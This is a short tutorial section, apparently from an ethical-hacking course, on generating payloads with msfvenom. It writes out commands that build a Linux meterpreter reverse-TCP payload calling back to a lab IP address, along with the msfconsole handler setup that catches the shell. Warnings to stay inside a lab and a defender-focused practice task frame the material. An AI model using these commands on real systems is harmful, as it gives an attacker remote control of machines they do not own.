23.6 msfvenom: Generating Payloads (Concept)

By Ravindra Bagale Last updated: 27 September 2026

msfvenom creates a standalone payload file (for example an .exe or .elf) that, when run on a target, connects back to your Metasploit listener. In real engagements this is how a tester delivers a payload; you study it here so you can recognise and block such files.

# reverse shell for 64-bit Linux (concept – run only against a lab VM you own)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f elf -o shell.elf
# list payloads / formats
msfvenom --list payloads | less
msfvenom --list formats

Then in msfconsole you start a matching handler to catch the connection:

msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.10
msf6 > set LPORT 4444
msf6 > run

Never test payloads outside your lab

A generated payload is real malware. Keep it inside the host-only lab, never email it, upload it, or run it on any machine you do not own. Antivirus will (correctly) flag it.

Ravindra Bagale's Tip

Some students send an msfvenom file to outsiders over WhatsApp or a pendrive "just for fun" – that is a crime, and antivirus catches it immediately anyway. Use it only on a lab VM to understand the concept, then delete it. Think like a defender: if such a file arrived, how would I block it?

Practice task

Write, in words only, the steps by which an attacker would deliver an msfvenom payload and how you as a defender would block it (email filtering, no unknown executables, EDR, outbound firewall rules). No need to run it outside a VM you own.